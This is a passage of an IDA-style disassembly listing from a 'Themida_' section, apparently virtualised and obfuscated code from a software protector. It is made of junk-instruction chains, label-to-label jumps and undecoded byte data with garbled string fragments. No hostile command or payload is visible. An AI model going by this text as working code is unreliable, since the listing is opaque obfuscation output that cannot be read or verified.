mov [esp], ecx
jmp loc_55A695
; ---------------------------------------------------------------------------
loc_55A210: ; CODE XREF: Themida_:00563CB6j
add edx, 2B05796Ch
sub edx, esi
push ebp
mov ebp, 4B46AAEh
add ebp, 36F5C89h
and ebp, 3725439Fh
shr ebp, 2
or ebp, 7D1D3245h
add ebp, 0ADE806A7h
sub edx, ebp
jmp loc_5572CD
; ---------------------------------------------------------------------------
dd 81241C89h, 4ECh, 240C8900h, 0CF88D188h, 0FA885259h
dd 8B5AD588h, 0C483241Ch, 88505304h, 83DDE9E8h, 0E95BFFFFh
dd 1485h, 0E9242C89h, 4868h
; ---------------------------------------------------------------------------
loc_55A274: ; CODE XREF: Themida_:00550B45j
mov eax, edi
pop edi
sub eax, 4B6A5EECh
mov ebx, eax
jmp loc_55295B
; ---------------------------------------------------------------------------
loc_55A283: ; CODE XREF: Themida_:005635CEj
mov ebp, 4
jmp loc_5642B2
; ---------------------------------------------------------------------------
loc_55A28D: ; CODE XREF: Themida_:005515C4j
push edx
mov edx, 4E9F4F31h
shr edx, 6
sub edx, 5C085B6Ch
jmp loc_559920
; ---------------------------------------------------------------------------
db 57h, 0E9h, 0D1h
dd 5BFFFF95h, 28E9EB01h, 58FFFF88h, 1C8BDC28h, 4C48324h
dd 8A7DE95Ah, 0FF560000h, 5E042474h, 737EE9h, 10F18100h
dd 0E9383D59h, 0FFFFC110h, 3EB85053h, 0C1087177h, 853505E0h
dd 0BB229290h, 7437B12Dh, 1FABC381h, 52E93136h
db 3Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A2F3: ; CODE XREF: Themida_:00550400j
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_563A4A
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 0B36684BEh, 5EF73173h, 90E95247h, 8BFFFFD4h
dd 58682424h, 89000031h, 8B542404h, 0C4832404h, 40504h
dd 0C0830000h, 7845E904h, 815A0000h, 5C042444h, 291B094Bh
dd 0E904247Ch, 0FFFFDA51h
; ---------------------------------------------------------------------------
loc_55A350: ; CODE XREF: Themida_:00563DC2j
pop eax
jmp loc_553337
; ---------------------------------------------------------------------------
loc_55A356: ; CODE XREF: Themida_:00554A0Dj
or dx, 0FCDh
sub dx, 0F15Dh
mov si, dx
jmp loc_55D3CC
; ---------------------------------------------------------------------------
loc_55A368: ; CODE XREF: Themida_:00551DDCj
mov ebx, 4
add ebp, 7C5E6050h
add ebp, ebx
sub ebp, 7C5E6050h
mov ebx, [esp]
jmp loc_5566AA
; ---------------------------------------------------------------------------
db 0B1h
dd 0C16E92Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A38A: ; CODE XREF: Themida_:005503ABj
xor ebx, 0B295CC0h
add ecx, ebx
pop ebx
add ecx, 4
jmp loc_56409A
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF2434h, 0C4815A24h, 4, 81E28952h, 4C2h, 80A9E900h
dd 0E389FFFFh, 4C381h, 89530000h, 4C381E3h, 81000000h
dd 4EBh, 0EB93E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A3D2: ; CODE XREF: Themida_:00556CD0j
shl eax, 5
sub eax, 0FFFFFFFFh
dec eax
push ebp
mov ebp, 875B3C7Dh
xor eax, ebp
pop ebp
sub edx, eax
pop eax
add ecx, edx
jmp loc_556EEC
; ---------------------------------------------------------------------------
loc_55A3EE: ; CODE XREF: Themida_:00559C7Bj
pop esp
mov [esp], edi
push dword ptr [esp+4]
jmp loc_554DE2
; ---------------------------------------------------------------------------
loc_55A3FB: ; CODE XREF: Themida_:0055A514j
pop dword ptr [esp]
jmp loc_560C6B
; ---------------------------------------------------------------------------
db 81h
dd 0B732A0EBh, 0B9515E73h, 77F02C2h, 18B2BA52h, 0B0E94E94h
dd 5500007Ah, 42474FFh, 83242C8Bh, 0BAE904C4h, 81FFFFAAh
dd 541D3CEEh, 5EF70199h, 4C781h, 0FF570000h, 5F042474h
dd 8B24048Fh, 0FCE92424h, 0B8FFFF9Eh, 11675540h, 0AA4283B9h
dd 0E9C1315Ch, 1354h, 0CBEEA81h, 8152D7A0h, 537D2404h
dd 2BE945BAh, 81000001h, 61643ACEh, 13CE813Dh, 0E97E670Dh
dd 0FFFFBCDDh
; ---------------------------------------------------------------------------
loc_55A480: ; CODE XREF: Themida_:005545D0j
push 3DEEh
mov [esp], ecx
push 75BA4777h
pop ecx
mov esi, 75BA4773h
xor esi, ecx
mov ecx, [esp]
add esp, 4
mov ebx, esi
pop esi
push ebx
pop eax
mov ebx, [esp]
jmp loc_5541BF
; ---------------------------------------------------------------------------
db 3
dd 241C8B03h, 4C481h, 0C8B0000h, 91D4E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A4BE: ; CODE XREF: Themida_:00558C63j
xor esi, [esp]
pop esp
jmp loc_559435
; ---------------------------------------------------------------------------
db 0BAh
dd 4EC7506Eh, 8142D2F7h, 46A81BEAh, 5AD5298Ah, 5DE95645h
dd 1FFFFE5h, 32C681FEh, 0FF180E44h, 575F2434h, 6E9E789h
dd 5000001Fh, 4304EEB8h, 0D0E7E92Dh, 0BD55FFFFh, 56870DE3h
dd 67E8E981h, 86E950D5h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A50F: ; CODE XREF: Themida_:00555EE2j
push dword ptr [esp+4]
pop esi
jmp loc_55A3FB
; ---------------------------------------------------------------------------
db 1, 0EFh, 81h
dd 0A44775EFh, 0C7815D0Eh, 284C2BAFh, 0ADE9F901h, 50FFFF8Dh
dd 7BD3C3B8h, 2128E9A4h, 8A350000h, 0F7344F56h, 70A40DD8h
dd 362D3BD8h, 89CF4177h, 1237E9C5h, 0E7C10000h, 97C78106h
dd 5064101Eh, 8E2BE56h, 0C9B85D54h, 29644C5Dh, 18E95EF0h
dd 81000000h, 361DCAEEh, 47C68175h, 0FF52635Eh, 575D2434h
dd 8BE95F54h, 35FFFF77h, 1C0E3A6Bh, 0E958C731h, 819Fh
dd 0AB33E95Bh, 2C8BFFFFh, 86B8E924h, 0E828FFFFh, 5966CC2Ch
dd 6BE0E9h, 28536800h, 0AFE90000h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A5B7: ; CODE XREF: Themida_:0056140Ej
push edx
mov dh, 6Ah
jmp loc_550F2D
; ---------------------------------------------------------------------------
db 29h
dd 50E105C8h, 0E9591941h, 0AF3Ah, 77C2805Bh, 0DB2C262Ch
dd 0D000202Ch, 0DB042004h, 7BE92604h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A5E3: ; CODE XREF: Themida_:00563E4Fj
mov edx, ebx
pop ebx
xor edx, esi
pop esi
jmp loc_55DEAD
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 4C681h, 0E9550000h, 0FFFFF925h, 0BD55E689h, 4E527928h
dd 0BFDED81h, 0D5F734FAh, 92D0F581h, 0EE01E6A7h, 3D08E95Dh
dd 0C890000h, 4B924h, 0C8290000h, 24048759h, 0FF8345E9h
dd 0BF5755FFh, 0A9840B0h, 14F7574Fh, 0C7815F24h, 2BBC817Dh
dd 0DA6EE956h, 0BE56FFFFh, 60B3395Eh, 3B9FB951h, 0E1C12D91h
dd 6E9C104h, 6E3EF181h, 0E9813805h, 0C9A2280h, 0A5BF5749h
dd 8179B669h, 74AF5EF7h, 5FF93166h, 0E959CE31h, 0FFFFA563h
dd 0FF243C89h, 8B042474h, 0C481243Ch, 4, 0FF64C5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A695: ; CODE XREF: Themida_:0055A20Bj
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
push esi
push esp
pop esi
add esi, 4
push eax
jmp loc_557674
; ---------------------------------------------------------------------------
loc_55A6AC: ; CODE XREF: Themida_:0055CD5Ej
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
xchg eax, [esp]
jmp loc_5546E8
; ---------------------------------------------------------------------------
db 59h, 0E9h, 0F1h
dd 0FF000054h, 48B2434h, 4C48124h, 83000000h, 14E904C4h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A6D7: ; CODE XREF: Themida_:005573A1j
push esp
pop eax
sub esp, 4
mov [esp], esi
mov esi, 531803FAh
and esi, 4087C99h
shl esi, 6
xor esi, 2002604h
jmp loc_56475F
; ---------------------------------------------------------------------------
dd 4C481h, 64E90000h, 8900003Dh, 2434FFF0h, 4C4835Eh, 2085E9h
db 0
; ---------------------------------------------------------------------------
loc_55A711: ; CODE XREF: Themida_:00563D34j
xchg ebx, [esp]
pop esp
jmp loc_563D59
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48324h, 0BA52D5F7h, 189D7E8Fh, 7658B951h, 0E98138AAh
dd 0E501FD34h, 5759CA31h, 0FFFFFFBFh, 0E9FA01FFh, 36ECh
; ---------------------------------------------------------------------------
loc_55A744: ; CODE XREF: Themida_:0055E725j
mov esi, 4
sub ebx, 14E2775h
jmp loc_5614C0
; ---------------------------------------------------------------------------
dd 2BAh, 0D5C18100h, 160076Ch, 941FE9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A766: ; CODE XREF: Themida_:00555092j
add edi, edx
pop edx
sub edi, esi
push eax
push ebx
mov ebx, 0FF7254Bh
jmp loc_55CAE2
; ---------------------------------------------------------------------------
db 1
aIs db 'ëéÏ}',0
align 2
dw 0C483h
dd 55C38004h, 96DEE9h
db 0
; ---------------------------------------------------------------------------
loc_55A789: ; CODE XREF: Themida_:00552119j
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
mov edx, [esp]
jmp loc_561DDD
; ---------------------------------------------------------------------------
db 57h, 89h, 0E7h
dd 4C781h, 0C7830000h, 243C8704h, 4C4815Ch, 1000000h, 4CC181F1h
dd 5E006233h, 8B240C87h, 0F8E92424h, 0BE00001Dh, 6FB1A61h
dd 5D5EF001h, 67E9D801h
db 8Dh, 2 dup(0)
byte_55A7D3 db 66h ; DATA XREF: Themida_:0054FE0Co
dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 5E08950h, 4
dd 4DD4E9h, 2434FF00h, 4C4835Ah, 6203A5F3h, 24E95338h
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A803: ; CODE XREF: Themida_:00562D16j
xor edi, eax
jmp loc_560EF9
; ---------------------------------------------------------------------------
loc_55A80A: ; CODE XREF: Themida_:0055CAE7j
inc ebx
xor ebx, 9CB80A84h
push ebx
add dword ptr [esp], 5FCB68FAh
pop eax
sub eax, 5FCB68FAh
pop ebx
sub edi, eax
pop eax
pop esi
add edi, ebp
add edi, 33C244A9h
sub edi, 502B4452h
mov ebp, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_55E390
; ---------------------------------------------------------------------------
db 81h
dd 0A335F0EEh, 8BF3897Bh, 0C4832434h, 8BDE0104h, 0C481241Ch
dd 4, 0E9243433h, 0FFFFEF71h
; ---------------------------------------------------------------------------
loc_55A880: ; CODE XREF: Themida_:00553812j
pop edx
add ch, 0E4h
push dx
mov dh, 89h
xor ch, dh
pop dx
shr ch, 5
push edx
mov dl, 84h
and dl, 51h
and dl, 15h
shr dl, 4
shr dl, 5
jmp loc_556C85
; ---------------------------------------------------------------------------
db 81h
dd 0C764C4E1h, 10F18160h, 8167F564h, 0B0F89AC1h, 5BC581E0h
dd 0E9003048h, 26F0h, 2DC8295Ah, 0E5C4119h, 59FEE9h, 240C3300h
dd 5024248Bh, 8904EC83h, 68E9242Ch, 5DFFFFEFh, 8704E883h
dd 895C2404h, 0B9512424h, 4, 1802E9h
db 0
; ---------------------------------------------------------------------------
loc_55A8F5: ; CODE XREF: Themida_:00561E9Bj
mov esi, [esp]
add esp, 4
shr eax, 0Ah
xor eax, ecx
sub esp, 4
mov [esp], eax
xchg eax, [esp]
not eax
jmp loc_5586E3
; ---------------------------------------------------------------------------
loc_55A913: ; CODE XREF: Themida_:00552FA6j
add eax, 32323D5Ch
add eax, edx
push ebx
jmp loc_5604D0
; ---------------------------------------------------------------------------
aSB db '[éÜ',0
align 2
word_55A926 dw 83ADh ; DATA XREF: Themida_:0054FCDCo
dd 0C8904ECh, 6199E924h
db 2 dup(0)
word_55A932 dw 8B66h ; DATA XREF: Themida_:0054FDB8o
dd 0C6E92404h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A93B: ; CODE XREF: Themida_:00557A25j
dec ecx
shl ecx, 5
dec ecx
add ecx, 45EA906Ah
jmp loc_55F019
; ---------------------------------------------------------------------------
loc_55A94B: ; CODE XREF: Themida_:0055FF50j
add ebx, 4
xchg ebx, [esp]
pop esp
sub [edi+24h], ecx
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 4F35h
mov [esp], ecx
mov ecx, esp
jmp loc_5503A5
; ---------------------------------------------------------------------------
loc_55A973: ; CODE XREF: Themida_:005556A1j
pop esp
jmp loc_5639FC
; ---------------------------------------------------------------------------
db 0C1h, 0E3h, 5
dd 5568DBF7h, 0E9000017h, 0FFFF627Eh, 4C4835Eh, 822BE9h
dd 243C8700h, 4C1815Ch, 50000000h, 243AA4B8h, 2E8C110h
dd 4FE82540h, 0D0F73BB2h, 6807E8C1h, 6429h, 0BB241C89h
dd 4FC09FCh, 221DE9h, 57555200h, 0FF7654E9h, 312CBAFFh
dd 0E9510715h, 0FFFFEA22h
; ---------------------------------------------------------------------------
loc_55A9D4: ; CODE XREF: Themida_:00562ED9j
add edi, 4
push esi
push 4
pop esi
jmp loc_5555D1
; ---------------------------------------------------------------------------
loc_55A9E6: ; CODE XREF: Themida_:005517E6j
sub eax, edi
jmp loc_5574A6
; ---------------------------------------------------------------------------
db 81h, 0C2h, 2
dd 33000000h, 57E92414h, 0F7000074h, 557AE9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AA02: ; CODE XREF: Themida_:00553B01j
push ebx
push 32B11559h
mov ebx, [esp]
sub esp, 4
jmp loc_55FCE8
; ---------------------------------------------------------------------------
db 81h
dd 0B63700E3h, 0C4EB8119h, 9E284F7h, 0E6815BDEh, 2CDF2CFEh
dd 4A13E681h, 0EEC14EE7h, 0D9C68106h, 0E9645F50h, 0FFFF62B4h
; ---------------------------------------------------------------------------
loc_55AA3C: ; CODE XREF: Themida_:00560DF9j
pop ebx
add esp, 4
jmp loc_557A2A
; ---------------------------------------------------------------------------
loc_55AA45: ; CODE XREF: Themida_:0055B1DEj
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], esi
jmp loc_556F09
; ---------------------------------------------------------------------------
db 0BDh
dd 20F341C5h, 18E9E929h
db 97h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AA77: ; CODE XREF: Themida_:00552E26j
xor edx, 1743595h
add edx, 0DB38D355h
add edi, edx
pop edx
sub edi, ecx
jmp loc_560561
; ---------------------------------------------------------------------------
db 59h, 0E9h, 59h
dd 83FFFFE1h, 0F6604C4h, 0F96800B6h, 89000051h, 1B68243Ch
dd 0E900006Eh, 1F2h, 542CEA81h, 15F6A5Fh, 70B951DAh, 81715B6Fh
dd 0F2467E1h, 14F7511Dh, 87E95924h
db 9, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AACB: ; CODE XREF: Themida_:00559E4Dj
xor [esp+4], edx
pop edx
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp], ebp
mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp]
pop esp
push 12F4h
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
xor eax, 1ABB36F4h
push edx
push 24236A3Dh
pop edx
add edx, 0FFFFFFFFh
jmp loc_560636
; ---------------------------------------------------------------------------
loc_55AB2B: ; CODE XREF: Themida_:00558669j
xor [esp+4], ebp
jmp loc_550071
; ---------------------------------------------------------------------------
dd 0C68837B0h, 4EC8358h, 88240489h, 0C38853F0h, 0FFCBF9E9h
dd 0F6C9FEFFh, 84C980D9h, 0E941F180h, 81D3h, 4EC8350h
dd 0E9242C89h, 5179h, 0BE243489h, 31B5DF0h, 0FFD450E9h
dd 2E5C1FFh, 0C581DDF7h, 272518E5h, 5106E5C1h, 1E06A9B9h
dd 59CD3137h, 0A1EAC581h, 0EF29BA69h, 81EF015Dh, 3C7DD3C7h
dd 0C7815D7Eh, 4, 8B243C87h, 36E92424h, 0B8000004h, 2
dd 8758C201h, 0D35C2414h, 0E99C240Ch, 0FFFF5357h
; ---------------------------------------------------------------------------
loc_55ABC0: ; CODE XREF: Themida_:00564600j
add esp, 4
sub esp, 4
mov [esp], eax
sub dword ptr [esp], 36F91078h
pop ebx
jmp loc_55BE61
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0AFh
dd 8158D136h, 0F2DEFCBh, 0A9B8E93Ch, 8B660000h, 0CCE9242Ch
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ABF3: ; CODE XREF: Themida_:00560829j
shr ebx, 7
not ebx
add ebx, 280295h
add esi, ebx
pop ebx
xchg esi, [esp]
mov esp, [esp]
push edi
mov edi, 4
add eax, edi
pop edi
push ebp
push 13D0h
mov [esp], edi
mov edi, 6F682003h
mov ebp, 7F0D47E1h
sub ebp, edi
pop edi
jmp loc_5565D2
; ---------------------------------------------------------------------------
db 59h
dd 429E9h, 0A7E95100h
db 82h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AC37: ; CODE XREF: Themida_:00554BDEj
mov [esp], ebx
push dword ptr [esp]
pop eax
push edx
mov edx, esp
sub esp, 4
mov [esp], ecx
push esi
push ebx
push 792D2042h
jmp loc_555CF5
; ---------------------------------------------------------------------------
loc_55AC56: ; CODE XREF: Themida_:0055B489j
add eax, esi
push 0F64h
jmp loc_561063
; ---------------------------------------------------------------------------
aFtSkx db '¹;ft%éKX',0
align 4
loc_55AC6C: ; CODE XREF: Themida_:0055F0A6j
xor esi, 0C378A222h
sub esp, 4
mov [esp], ebx
mov ebx, esi
mov edx, ebx
pop ebx
pop esi
mov edi, edx
pop edx
shr edi, 3
push esi
mov esi, 21453278h
sub esi, 0E8C70E8Ah
jmp loc_554AF3
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0AD1BE958h, 2489FFFFh, 50E95624h, 56000068h, 0CF3AB2BEh
dd 0E9DE8732h, 8B0Ah, 0DF78F581h, 0EB81AA92h, 5C7107A6h
dd 0E23EB81h, 0EB0131DBh, 0E23C381h, 0C38131DBh, 5C7107A6h
dd 0EBEE9h, 0F3874600h, 0A2A5F381h, 0DD01A947h, 0BEFEE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ACEA: ; CODE XREF: Themida_:0056324Dj
add esi, 2
xchg esi, [esp]
jmp loc_5526FE
; ---------------------------------------------------------------------------
dd 0E9240487h, 8AAFh, 51241489h, 0CDFE79B5h, 0ED80D5F6h
dd 59EA88E4h, 2DD76866h, 241C8966h, 0FFBE8AE9h, 24348BFFh
dd 8304C483h, 1C8704EBh, 24248B24h, 24048F54h, 4BA52h
dd 54010000h, 148B0424h, 134E924h, 680000h, 29000000h
dd 505B241Ch, 7F7E953h, 0C4830000h, 83C33104h, 37E904ECh
dd 80FFFFBDh, 6EE9D1EFh
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AD67: ; CODE XREF: Themida_:005620BEj
sub ecx, edx
jmp loc_55F3B9
; ---------------------------------------------------------------------------
dw 0CE80h
dd 2E6C042h, 2854F680h, 89515AF0h, 0BB5356E1h, 0DD75253h
dd 4BBDEB81h, 0F3816661h, 4E797AF8h, 5221E9h, 242C8900h
dd 4EC81h, 0CE90000h, 81000091h, 6C1FD3C3h, 82B9E903h
db 2 dup(0FFh)
word_55ADAE dw 8B66h ; DATA XREF: Themida_:0054FD60o
dd 0EC832404h, 24348904h, 24348B54h, 4C481h, 59E90000h
dd 35FFFFD6h, 0A7366AEh, 89B7E9h
db 0
; ---------------------------------------------------------------------------
loc_55ADD1: ; CODE XREF: Themida_:0055D239j
mov [esp], ebx
mov ebx, 5CE2232Ch
add edx, ebx
pop ebx
add edx, ebx
jmp loc_55FDD6
; ---------------------------------------------------------------------------
loc_55ADE3: ; CODE XREF: Themida_:005642BCj
push esp
mov ebp, [esp]
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_5501F1
; ---------------------------------------------------------------------------
loc_55ADF5: ; CODE XREF: Themida_:00553355j
mov ecx, 7E7A221Ah
jmp loc_551837
; ---------------------------------------------------------------------------
db 81h
dd 6751A2E3h, 0FFC3812Eh, 81FFFFFFh, 1F5F35F3h, 0FFDD310Ch
dd 0D2E92434h
db 31h, 2 dup(0)
byte_55AE1B db 66h ; DATA XREF: Themida_:0054FE8Co
dd 9C241CF7h, 0FF50F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AE25: ; CODE XREF: Themida_:00551099j
pop ecx
add esp, 4
add edx, 1
jmp loc_565107
; ---------------------------------------------------------------------------
loc_55AE34: ; CODE XREF: Themida_:00556D8Bj
mov [esp], edx
push edi
push 3B0A6E1Dh
jmp loc_5563D1
; ---------------------------------------------------------------------------
dw 0EA81h
dd 0B5091DC5h, 5997E957h, 0FCB9FFFFh, 17C5271h, 5904244Ch
dd 8904EC83h, 0BD552434h, 0B465B3Bh, 0EB6DC6BEh, 5DEE314Ch
dd 4247401h, 50A1E95Eh, 0C483FFFFh, 0C3815B04h, 4, 0E9E08950h
dd 82D2h, 2B951h, 0EB810000h, 79A255ECh, 0C381CB01h, 79A255ECh
dd 0E92434FFh, 48C5h
; ---------------------------------------------------------------------------
loc_55AEA4: ; CODE XREF: Themida_:00560F06j
push edi
push 4D80h
mov [esp], eax
pop edi
mov eax, [esp]
jmp loc_55D6CE
; ---------------------------------------------------------------------------
dw 34FFh
dd 24048B24h, 56585450h, 4BEh, 5EF00100h, 8904EC83h, 68502434h
dd 17771D18h, 0FFB72BE9h, 0CEB81FFh, 9A542E5h, 0F6AEE9DFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AEE6: ; CODE XREF: Themida_:005526CEj
mov [esp], ebx
jmp loc_555733
; ---------------------------------------------------------------------------
loc_55AEEE: ; CODE XREF: Themida_:00556591j
pop eax
push edx
mov edx, 4
jmp loc_560390
; ---------------------------------------------------------------------------
dw 0F681h
dd 233EB52Bh, 0E95EF089h, 0FFFF5D57h, 38576851h, 24890000h
dd 24048324h, 0C1815904h, 4, 3304C183h, 0C31240Ch, 240C3324h
dd 3324248Bh, 14312414h, 24143324h, 8124248Bh, 4ECh, 240C8900h
dd 8620E950h, 2C8BFFFFh, 4C48124h, 81000000h, 4C5h, 998FE900h
dd 34BAFFFFh, 4A43E23Bh, 8106E2C1h, 0CC1C9DF2h, 76F28179h
dd 29ED0AF7h, 3287E9D6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AF76: ; CODE XREF: Themida_:005501F7j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push esi
mov esi, 41493687h
jmp loc_552706
; ---------------------------------------------------------------------------
loc_55AF8A: ; CODE XREF: Themida_:00562C79j
pop ecx
mov ebx, [esp]
add esp, 4
add ebx, 4
push ebp
jmp loc_5565D8
; ---------------------------------------------------------------------------
dd 0E8E9C1FEh
db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AFA7: ; CODE XREF: Themida_:0055CAF6j
mov [esp], eax
mov eax, 1A065B1Ah
sub edx, eax
push dword ptr [esp]
pop eax
add esp, 4
xor edx, 0F5F9D4F6h
add edi, edx
push dword ptr [esp]
pop edx
add esp, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_5557DB
; ---------------------------------------------------------------------------
db 0E9h, 31h, 4Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AFE6: ; CODE XREF: Themida_:00555D65j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
loc_55AFF8: ; CODE XREF: Themida_:0055CD4Aj
push ebx
push ebp
jmp loc_55B1C5
; ---------------------------------------------------------------------------
db 31h
dd 0C33240Ch, 0F6E95C24h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B00B: ; CODE XREF: Themida_:005561F6j
mov ebp, 273C6F59h
jmp loc_550DE0
; ---------------------------------------------------------------------------
db 81h, 0CBh, 0E0h
dd 0E9661F22h, 0FFFFDF20h, 5C243C87h, 0E9240489h, 287Bh
; ---------------------------------------------------------------------------
loc_55B02C: ; CODE XREF: Themida_:005590CAj
shl ecx, 5
jmp loc_55C343
; ---------------------------------------------------------------------------
dd 8904EC83h, 1DE9243Ch
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B03F: ; CODE XREF: Themida_:00563305j
push esp
jmp loc_555869
; ---------------------------------------------------------------------------
loc_55B045: ; CODE XREF: Themida_:0055EF7Ej
push edx
push ecx
mov ecx, 755C4089h
add ecx, 8AA3BF9Fh
mov edx, ecx
pop ecx
jmp loc_554E3C
; ---------------------------------------------------------------------------
dw 8951h
dd 0DCBB53E1h, 0C135CD43h, 0CB8103EBh, 1B6F2D97h, 0CEEB814Bh
dd 815D0E7Fh, 0D77539F3h, 46C38110h, 0E93469DCh, 0FFFF877Fh
dd 0E9243487h, 32A7h, 58C22958h, 5AE4C681h, 0B850135Dh
dd 5C677BFBh, 158C601h, 0FBEE81D6h, 815C677Bh, 5D5AE4EEh
dd 24148B13h, 0E904C483h, 8A6Ch, 2D5DE829h, 5A2F2158h
dd 5805F801h, 55A2F21h, 3F692E91h, 5DA6BF57h, 0F781226Ch
dd 1D530F61h, 0FF5FF801h, 3C8B2434h, 4C48324h, 0E904C483h
dd 53C5h, 1B32E94Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B0F2: ; CODE XREF: Themida_:0055E82Fj
push 696Ch
mov [esp], edi
push 100Ch
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], edx
jmp loc_562D65
; ---------------------------------------------------------------------------
aBVnusX db 'êÂvué/x',0
align 10h
dd 0F8E9D300h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B127: ; CODE XREF: Themida_:0055EF5Ej
sub ebp, ebx
pop ebx
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push eax
push esp
pop eax
push ecx
mov ecx, 33B57C96h
dec ecx
not ecx
dec ecx
jmp loc_55D380
; ---------------------------------------------------------------------------
loc_55B153: ; CODE XREF: Themida_:005598A1j
push 2C475A05h
mov eax, [esp]
jmp loc_558E7E
; ---------------------------------------------------------------------------
dword_55B160 dd 240C8B66h, 575B5453h, 46A45BFh, 0FFBB5347h, 0E9FFFFFFh
; DATA XREF: Themida_:0054FC94o
dd 11D5h, 30E9525Dh
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B17F: ; CODE XREF: Themida_:0055444Bj
mov eax, edx
pop edx
add eax, edi
jmp loc_55F3DC
; ---------------------------------------------------------------------------
loc_55B189: ; CODE XREF: Themida_:005653F8j
mov edi, 630F7C67h
and edi, 752F49DCh
jmp loc_5590E2
; ---------------------------------------------------------------------------
aRsT db 'Ré ’',0
dw 5200h
dd 463F34BAh, 0EEF28147h, 81584543h, 855436E2h, 17F28125h
dd 3165F24Bh, 0DDE95AD0h, 56FFFF8Dh, 0FF51D5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B1C5: ; CODE XREF: Themida_:0055AFFAj
mov ebp, 62951FCCh
sub [esp+4], ebp
pop ebp
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_55AA45
; ---------------------------------------------------------------------------
db 0BAh
dd 4, 3872DD05h, 2DD00173h, 733872DDh, 5A2434FFh, 4C481h
dd 4870000h, 115EE924h, 0E0C10000h, 27BD5503h, 0E969CB75h
dd 6104h, 4BAh, 81DEE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B21E: ; CODE XREF: Themida_:0055D343j
push ebx
mov ebx, 305907B3h
push ecx
mov ecx, 7452252Dh
jmp loc_551B43
; ---------------------------------------------------------------------------
db 0B9h
dd 19D61699h, 8108E9C1h, 0D55EA0C9h, 0F3E98144h, 0F73EB9B5h
dd 72C181D1h, 81784539h, 2110AAE9h, 59C80172h, 8704C083h
dd 205C2404h, 148B66F0h, 0E6895624h, 4BB53h, 0C6810000h
dd 108A70C2h, 2893E9h, 4C9DE900h, 0E589FFFFh, 0C49AE956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B282: ; CODE XREF: Themida_:005565FFj
not dword ptr [esp]
pop esi
inc esi
jmp loc_562824
; ---------------------------------------------------------------------------
loc_55B28C: ; CODE XREF: Themida_:0055D6DAj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push ebp
sub esp, 4
mov [esp], ebx
push 58FF3F93h
pop ebx
or ebx, 49A34B2Ch
shl ebx, 2
sub ebx, 12E0F1A7h
mov ebp, ebx
jmp loc_55DC7A
; ---------------------------------------------------------------------------
loc_55B2BB: ; CODE XREF: Themida_:005560B7j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55D0BC
; ---------------------------------------------------------------------------
